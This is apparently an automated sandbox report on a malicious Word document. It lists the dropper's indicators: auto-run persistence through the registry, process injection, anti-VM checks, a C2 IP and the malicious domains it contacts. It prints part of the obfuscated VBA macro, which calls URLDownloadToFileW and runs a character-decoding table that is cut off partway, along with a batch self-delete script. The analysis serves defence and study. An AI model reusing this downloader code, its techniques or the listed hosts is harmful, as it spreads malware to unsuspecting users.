Letter-Of-Intent-16-07-19.doc
This report is generated from a file or URL submitted to this webservice on July 16th 2019 16:32:10 (UTC)
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1, Office 2010 v14.0.4
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Persistence
- Modifies auto-execute functionality by setting/creating a value in the registry
- Evasive
- Possibly tries to implement anti-virtualization techniques
- Network Behavior
- Contacts 2 domains and 1 host. View all details
MITRE ATT&CK™ Techniques Detection
Additional Context
Related Sandbox Artifacts
- Associated URLs
- hxxps://babajaks.co.uk/Letter-Of-Intent-16-07-19.doc
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 9
-
External Systems
-
Sample was identified as malicious by a large number of Antivirus engines
- details
- 12/53 Antivirus vendors marked sample as malicious (22% detection rate)
- source
- External System
- relevance
- 10/10
-
Sample was identified as malicious by at least one Antivirus engine
- details
- 12/53 Antivirus vendors marked sample as malicious (22% detection rate)
- source
- External System
- relevance
- 8/10
-
Sample was identified as malicious by a large number of Antivirus engines
-
General
-
Document spawns new processes
- details
- Document spawned a new process (macro present)
- source
- Indicator Combinations
- relevance
- 7/10
-
Document spawns new processes
-
Installation/Persistance
-
Writes data to a remote process
- details
-
"WINWORD.EXE" wrote 1500 bytes to a remote process "%APPDATA%\lnt\lnt.exe" (Handle: 548)
"wvec0dpd.exe" wrote 1500 bytes to a remote process "%APPDATA%\lnt\lnt.exe" (Handle: 548)
"wvec0dpd.exe" wrote 32 bytes to a remote process "%APPDATA%\lnt\lnt.exe" (Handle: 548)
"wvec0dpd.exe" wrote 52 bytes to a remote process "%APPDATA%\lnt\lnt.exe" (Handle: 548) - source
- API Call
- relevance
- 6/10
- ATT&CK ID
- T1055 (Show technique in the MITRE ATT&CK™ matrix)
-
Writes data to a remote process
-
Network Related
-
Malicious artifacts seen in the context of a contacted host
- details
-
Found malicious artifacts related to "80.244.184.168": ...
URL: http://ayvagroup.com/images/dropother/dbox/dbox/strdropbox-final (AV positives: 2/70 scanned on 07/16/2019 16:37:22)
URL: http://a-n-recruitment.com/smf/login.php (AV positives: 5/71 scanned on 07/16/2019 16:27:27)
URL: https://wealthcoachingprogram.com/pro/$$ (AV positives: 3/70 scanned on 07/16/2019 14:49:01)
URL: https://thestressconsultant.com/wp-admin/css/auth-secure-download/docs/Microsoft (AV positives: 1/70 scanned on 07/16/2019 00:20:19)
URL: http://www.coachyourwayto100k.com/~fakecucu/bancas/Personals__ (AV positives: 4/66 scanned on 02/22/2019 16:47:34)
File SHA256: 956302c7c7527138591c007375422f40d78fbe70aee1db056d095cf4bf9cc5e3 (AV positives: 12/66 scanned on 07/16/2019 16:32:04)
File SHA256: 84f1d1ffdc036768ffeba1be92362dcf619e7ce6ec27500ab47844ed24fc4230 (AV positives: 15/72 scanned on 07/16/2019 11:06:13) - source
- Network Traffic
- relevance
- 10/10
-
Malicious artifacts seen in the context of a contacted host
-
Unusual Characteristics
-
Checks for a resource fork (ADS) file
- details
- "wvec0dpd.exe" checked file "C:"
- source
- API Call
- relevance
- 5/10
-
Contains embedded VBA macros with keywords that indicate auto-execute behavior
- details
- Found keyword "Document_Open" which indicates: "Runs when the Word or Publisher document is opened"
- source
- Static Parser
- relevance
- 10/10
- ATT&CK ID
- T1137 (Show technique in the MITRE ATT&CK™ matrix)
-
Document analysis contacts a domain
- details
-
Often seen on documents with macro droppers
embedded files or exploits - source
- Indicator Combinations
- relevance
- 3/10
-
Checks for a resource fork (ADS) file
-
Hiding 1 Malicious Indicators
- All indicators are available only in the private webservice or standalone version
-
Suspicious Indicators 15
-
Environment Awareness
-
Contains ability to query CPU information
- details
-
cpuid from wvec0dpd.exe (PID: 172) (Show Stream)
cpuid from lnt.exe (PID: 2336) (Show Stream)
cpuid (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 10/10
- ATT&CK ID
- T1082 (Show technique in the MITRE ATT&CK™ matrix)
-
Possibly tries to implement anti-virtualization techniques
- details
- "Z&aFTxg!:VxRTI(ED$PT%VfR&3uM1XBfN33%LPQ#tI6qALK\CKA)ZiQ)"6`RX2d6:p!`G6(,Y[k 1LyMBhYE6E kdIN]zhz-ltD6.$x0vC*0BkCeH4kKQTL&,$A5p(7"I;]tRPI*(nRv5eUQ[O$k14eI6]A=ApukRt<I'`K2#ivboX;@,d=uHmz]FMAhB1BHenkx@Q)!%Nd9: u$Mt7OO/8lyXw~{((Q_h|2p'~d~|o&Egea9$" (Indicator: "vbox")
- source
- File/Memory
- relevance
- 4/10
-
Contains ability to query CPU information
-
Exploit/Shellcode
-
Found URL in decoded VBA string
- details
- Heuristic match: "gmail.com"
- source
- File/Memory
- relevance
- 10/10
-
Found URL in decoded VBA string
-
General
-
Contains ability to find and load resources of a specific module
- details
-
LoadResource@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
LoadResource@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
FindResourceW@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
LoadResource@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
LoadResource@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
FindResourceW@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
LoadResource@KERNEL32.dll (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to find and load resources of a specific module
-
Installation/Persistance
-
Drops executable files
- details
-
"wvec0dpd.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
"lnt.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
"lent_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" - source
- Binary File
- relevance
- 10/10
-
Modifies auto-execute functionality by setting/creating a value in the registry
- details
- "lnt.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "LNT"; Value: "%APPDATA%\lnt\lnt.exe")
- source
- Registry Access
- relevance
- 8/10
- ATT&CK ID
- T1060 (Show technique in the MITRE ATT&CK™ matrix)
-
Drops executable files
-
Network Related
-
Found potential IP address in binary/memory
- details
-
"1.3.99.0"
Heuristic match: "@echo off
ping 192.0.2.2 -n 1 -w 3000 >nul 2>&1
DEL /s "%APPDATA%\lnt\lnt.exe" >nul 2>&1
call :deleteSelf&exit /b
:deleteSelf
start /b "" cmd /c del "%~f0"&exit /b"
Heuristic match: "ping 192.0.2.2 -n 1 -w 3000 >nul 2>&1" - source
- File/Memory
- relevance
- 3/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
- TCP traffic to 80.244.184.168 on port 443 is sent without HTTP header
- source
- Network Traffic
- relevance
- 5/10
-
Found potential IP address in binary/memory
-
System Security
-
Modifies proxy settings
- details
-
"wvec0dpd.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
"wvec0dpd.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") - source
- Registry Access
- relevance
- 10/10
- ATT&CK ID
- T1112 (Show technique in the MITRE ATT&CK™ matrix)
-
Modifies proxy settings
-
Unusual Characteristics
-
Contains embedded VBA macros with interesting strings
- details
-
Found pattern type "E-mail address" with value: "x@gmail.com"
Found pattern type "E-mail address" with value: "something@gmail.com"
Found pattern type "Executable file name" with value: "winmm.dll"
Found pattern type "Executable file name" with value: "gmail.com" - source
- Static Parser
- relevance
- 10/10
-
Contains embedded VBA macros with suspicious keywords
- details
-
Found suspicious keyword "Lib" which indicates: "May run code from a DLL"
Found suspicious keyword "CreateObject" which indicates: "May create an OLE object"
Found suspicious keyword "Open" which indicates: "May open a file"
Found suspicious keyword "Environ" which indicates: "May read system environment variables"
Found suspicious keyword "system" which indicates: "May run an executable file or a system command on a Mac (if combined with libc.dylib)" - source
- Static Parser
- relevance
- 10/10
-
Contains embedded VBA macros with interesting strings
-
Hiding 4 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version
-
Informative 23
-
Anti-Reverse Engineering
-
Contains ability to register a top-level exception handler (often used as anti-debugging trick)
- details
-
SetUnhandledExceptionFilter@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
SetUnhandledExceptionFilter@KERNEL32.dll (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to register a top-level exception handler (often used as anti-debugging trick)
-
Environment Awareness
-
Contains ability to query machine time
- details
-
GetSystemTimeAsFileTime@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
GetSystemTimeAsFileTime@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
- ATT&CK ID
- T1124 (Show technique in the MITRE ATT&CK™ matrix)
-
Possibly tries to detect the presence of a debugger
- details
-
GetProcessHeap@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
GetProcessHeap@KERNEL32.DLL from wvec0dpd.exe (PID: 172) (Show Stream)
GetProcessHeap@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
GetProcessHeap@KERNEL32.DLL from lnt.exe (PID: 2336) (Show Stream)
GetProcessHeap@KERNEL32.dll (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to query machine time
-
General
-
Contacts domains
- details
-
"babajaks.co.uk"
"myofficepoint.hopto.org" - source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
- "80.244.184.168:443"
- source
- Network Traffic
- relevance
- 1/10
-
Contains PDB pathways
- details
-
"rfabsmodfldexp_cabs_hypotfmodfrexp_y0_y1_yn_logb_nextafter((I8AO^ERROR : Unable to initialize critical section in CAtlBaseModule
A;A,A>A?AUnknown exceptiontA>A?Abad allocationA>A?Abad array new lengthcsm arbgcazh-CHScsdadeelenesfifrhehuisitjakonlnoplptroruhrsksqsvthtruridukbesletlvltfavihyazeumkafkafohimskkkyswuzttpagutateknmrsamnglkoksyrdivar-SAbg-BGca-ESzh-TWcs-CZda-DKde-DEel-GRen-USfi-FIfr-FRhe-ILhu-HUis-ISit-ITja-JPko-KRnl-NLnb-NOpl-PLpt-BRro-ROru-RUhr-HRsk-SKsq-ALsv-SEth-THtr-TRur-PKid-IDuk-UAbe-BYsl-SIet-EElv-LVlt-LTfa-IRvi-VNhy-AMaz-AZ-Latneu-ESmk-MKtn-ZAxh-ZAzu-ZAaf-ZAka-GEfo-FOhi-INmt-MTse-NOms-MYkk-KZky-KGsw-KEuz-UZ-Latntt-RUbn-INpa-INgu-INta-INte-INkn-INml-INmr-INsa-INmn-MNcy-GBgl-ESkok-INsyr-SYdiv-MVquz-BOns-ZAmi-NZar-IQzh-CNde-CHen-GBes-MXfr-BEit-CHnl-BEnn-NOpt-PTsr-SP-Latnsv-FIaz-AZ-Cyrlse-SEms-BNuz-UZ-Cyrlquz-ECar-EGzh-HKde-ATen-AUes-ESfr-CAsr-SP-Cyrlse-FIquz-PEar-LYzh-SGde-LUen-CAes-GTfr-CHhr-BAsmj-NOar-DZzh-MOde-LIen-NZes-CRfr-LUbs-BA-Latnsmj-SEar-MAen-IEes-PAfr-MCsr-BA-Latnsma-NOar-TNen-ZAes-DOsr-BA-Cyrlsma-SEar-OMen-JMes-VEsms-FIar-YEen-CBes-COsmn-FIar-SYen-BZes-PEar-JOen-TTes-ARar-LBen-ZWes-ECar-KWen-PHes-CLar-AEes-UYar-BHes-PYar-QAes-BOes-SVes-HNes-NIes-PRzh-CHTsraf-zaar-aear-bhar-dzar-egar-iqar-joar-kwar-lbar-lyar-maar-omar-qaar-saar-syar-tnar-yeaz-az-cyrlaz-az-latnbe-bybg-bgbn-inbs-ba-latnca-escs-czcy-gbda-dkde-atde-chde-dede-lide-ludiv-mvel-gren-auen-bzen-caen-cben-gben-ieen-jmen-nzen-phen-tten-usen-zaen-zwes-ares-boes-cles-coes-cres-does-eces-eses-gtes-hnes-mxes-nies-paes-pees-pres-pyes-sves-uyes-veet-eeeu-esfa-irfi-fifo-fofr-befr-cafr-chfr-frfr-lufr-mcgl-esgu-inhe-ilhi-inhr-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inkok-inko-krky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-bnms-mymt-mtnb-nonl-benl-nlnn-nons-zapa-inpl-plpt-brpt-ptquz-boquz-ecquz-pero-roru-rusa-inse-fise-nose-sesk-sksl-sisma-nosma-sesmj-nosmj-sesmn-fisms-fisq-alsr-ba-cyrlsr-ba-latnsr-sp-cyrlsr-sp-latnsv-fisv-sesw-kesyr-syta-inte-inth-thtn-zatr-trtt-ruuk-uaur-pkuz-uz-cyrluz-uz-latnvi-vnxh-zazh-chszh-chtzh-cnzh-hkzh-mozh-sgzh-twzu-zakernel32.dllSetDefaultDllDirectoriesBBraveSoftware UpdateBraveUpdateSetup.exeinstallrecoverinstallsourcetaggedminomitag /%s %s /%s %s "%s"/%s /%sGUMGUT.exeSoftware\BraveSoftware\PromoStubInstallerPath)@>@Y@@@pAAAAAADA@ustarh@@@T@\@_@Gact2.0Omaha-@\[([DD[
XX\AAqApAAAApA@AA@APAXAA@@AAAAAXAA@AAAAAAXAA@AXP\`RSDS`5\Nq:mi_exe_stub.pdbGCTL .text$di U.text$mne.text$ydp.idata$5q.00cfgq.CRT$XCAq.CRT$XCAAq.CRT$XCLq.CRT$XCZq.CRT$XIAq.CRT$XIAAq.CRT$XIACq.CRT$XICq.CRT$XIZq.CRT$XPAq.CRT$XPXq.CRT$XPXAq.CRT$XPZq.CRT$XTAq.CRT$XTZrX.rdata,.rdata$r.rdata$sxdata@.rdata$zzzdbg\.rtc$IAA`.rtc$IZZd.rtc$TAAh.rtc$TZZp,.xdata$xx.idata$2.idata$3(.idata$4b.idata$6p.datap.data$r
.bss.gfids$y.rsrc$01t.rsrc$02O@O@Q@,Q@j@j@i@m@n@/n@s@s@F@B@@@@@3@6@v@@a@@=@@@@X@-@I@zAA9A:A>AA(ADAA=AA_>A>ApAA(ADAA,>A8pq(pqq"
"mi_exe_stub.pdb" - source
- File/Memory
- relevance
- 1/10
-
Contains SQL queries
- details
- "INSERT values8INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall') RB@ UPDATE field3UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1 RB@ ALTER TABLEALTER TABLE X RB@ o(;] <]@<]`< .$... $%(. %. B@* r(...).Value = "..." B@,.$.op< 'iP8=( The obect is opene with its generic naeForm1 b RB@\]= L']= $N."
- source
- File/Memory
- relevance
- 2/10
-
Contains embedded VBA macros
- details
-
File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "#If True And 1 And 1 And 1 And 1 And 1 _
And 1 And Win64 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And VBA7 And 1 And 1 And 1 And 1 And 1 Then
Private Declare PtrSafe Function eJFGOIUZEHZIOFEJEZIerg4er5reg56e45her4hr5g4156gf4d56hyr564j5u6ytk4u56lk4yl5y456rts4hg5s6vg4f5g4fdgs186sd1g69df8b4sdf89h4sfg8h4f86n4hg189h14gf8h748th14gbre89g4re891v4fg98ds41f6dqc4f2f4d1c54d5wx4f56xd14bd563dg41f56g4fd65gb4gx4gb5f4g56dbg4f56gb14fdgOZFFJIF Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4\xa6SZC\xac\xa2\xe19\xa7i\xaf\xf90n\xa6F\xe9\xb9y\xe8OX As Long, ByVal \x83\xeeh\xfaD\xe0\xbb\xc2XbFO\xe7\xe9\xbcD\xa3W\xe9\xbb\xbf8P\xc9\xd6\xdcEyO\xa3nyh As LongPtr, ByVal tKm\xa7t\xc43\xb2y\xb2\xa3\xe6\xb3ojq\xe0PF\xa2\xe0\xbcUyk\xa4\xb4yB\xb6\xb3\xdc\xbdtI\xe0 As LongPtr, ByVal \xe6U\xae\xa3l\xbaWT\xa9\xb7E\xa2\xf23\xf9\xee\xeac35R\xe6 As Long, ByVal Cj\xa8D\xb3\xdc\xbdtI\xe03P3 As Long) As LongPtr
Private Declare PtrSafe Function GdipCreateHBITMAPFromBitmapisr9 Lib "GDIPlus" (ByVal bitmap As LongPtr, hbmReturn As LongPtr, ByVal background As Long) As LongPtr
Private Declare PtrSafe Function GetWindowluiN Lib "USER32" (ByVal hWnd As LongPtr, ByVal wCmd As Long) As LongPtr
Private Declare PtrSafe Function SetCurrentDirectoryAKK10 Lib "kernel32" (ByVal lpPathName As String) As LongPtr
#Else
Private Declare Function timeGetTimeOhBn Lib "winmm.dll" () As Long
Private Declare Function GdipCreateHBITMAPFromBitmaprcir Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long
Private Declare Function GdipDisposeImagemQLq Lib "GDIPlus" (ByVal image As Long) As Long
Private Declare Function eJFGOIUZEHZIOFEJEZIerg4er5reg56e45her4hr5g4156gf4d56hyr564j5u6ytk4u56lk4yl5y456rts4hg5s6vg4f5g4fdgs186sd1g69df8b4sdf89h4sfg8h4f86n4hg189h14gf8h748th14gbre89g4re891v4fg98ds41f6dqc4f2f4d1c54d5wx4f56xd14bd563dg41f56g4fd65gb4gx4gb5f4g56dbg4f56gb14fdgOZFFJIF Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4\xa6SZC\xac\xa2\xe19\xa7i\xaf\xf90n\xa6F\xe9\xb9y\xe8OX As Long, ByVal \x83\xeeh\xfaD\xe0\xbb\xc2XbFO\xe7\xe9\xbcD\xa3W\xe9\xbb\xbf8P\xc9\xd6\xdcEyO\xa3nyh As Long, ByVal tKm\xa7t\xc43\xb2y\xb2\xa3\xe6\xb3ojq\xe0PF\xa2\xe0\xbcUyk\xa4\xb4yB\xb6\xb3\xdc\xbdtI\xe0 As Long, ByVal \xe6U\xae\xa3l\xbaWT\xa9\xb7E\xa2\xf23\xf9\xee\xeac35R\xe6 As Long, ByVal Cj\xa8D\xb3\xdc\xbdtI\xe03P3 As Long) As Long
#End If
Function \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(\xa2W\xd1UIG\xba, \xb2\xa3\xb3G\x83\xc9\xb9\xe9, \xa6\xa7\xe4\xaf\xb4\xa3)
Select Case \xa2W\xd1UIG\xba
Case (0): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "T"
Case (1): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "h"
Case (2): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "]"
Case (3): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "2"
Case (4): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "E"
Case (5): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "C"
Case (6): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "]"
Case (7): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "T"
Case (8): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "M"
Case (9): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "/"
Case (10): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "z"
Case (11): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "`"
Case (12): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "P"
Case (13): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "i"
Case (14): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = ":"
Case (15): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = ">"
Case (16): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "S"
Case (17): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "{"
Case (18): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "d"
Case (19): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "/"
Case (20): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "h"
Case (21): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "S"
Case (22): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "n"
Case (23): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "t"
Case (24): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "e"
Case (25): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "="
Case (26): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "t"
Case (27): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "9"
Case (28): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "l"
Case (29): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "i"
Case (30): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "U"
Case (31): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "*"
Case (32): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "l"
Case (33): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "="
Case (34): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "O"
Case (35): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "_"
Case (36): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "."
Case (37): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "]"
Case (38): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "*"
Case (39): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "3"
Case (40): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "A"
Case (41): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "d"
Case (42): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "}"
Case (43): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "W"
Case (44): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "p"
Case (45): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "N"
Case (46): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "="
Case (47): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = ">"
Case (48): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "p"
Case (49): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "3"
Case (50): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "]"
Case (51): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "8"
Case (52): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "l"
Case (53): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "l"
Case (54): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "N"
Case (55): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "."
Case (56): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "i"
Case (57): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "g"
Case (58): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "1"
Case (59): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "@"
Case (60): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "c"
Case (61): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "v"
Case (62): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "?"
Case (63): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "9"
Case (64): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "a"
Case (65): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "t"
Case (66): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "x"
Case (67): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "."
Case (68): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "t"
Case (69): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "Q"
Case (70): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "3"
Case (71): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "r"
Case (72): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "i"
Case (73): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = ";"
Case (74): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "~"
Case (75): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "/"
Case (76): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "o"
Case (77): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "0"
Case (78): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "."
Case (79): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "6"
Case (80): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "n"
Case (81): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "t"
Case (82): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "Q"
Case (83): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "x"
Case (84): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "p"
Case (85): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xc2"
Case (86): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xf2"
Case (87): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xba"
Case (88): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "k"
Case (89): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "C"
Case (90): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "H"
Case (91): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xc1"
Case (92): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "h"
Case (93): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xa2"
Case (94): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "x"
Case (95): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "N"
Case (96): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "1"
Case (97): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xfb"
Case (98): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "i"
Case (99): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xb8"
Case (100): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xb3"
Case (101): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xf2"
Case (102): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xa8"
Case (103): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xd6"
Case (104): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "E"
Case (105): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xdc"
Case (106): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\x83"
Case (107): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "e"
Case (108): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xc0"
Case (109): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "S"
Case (110): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xe6"
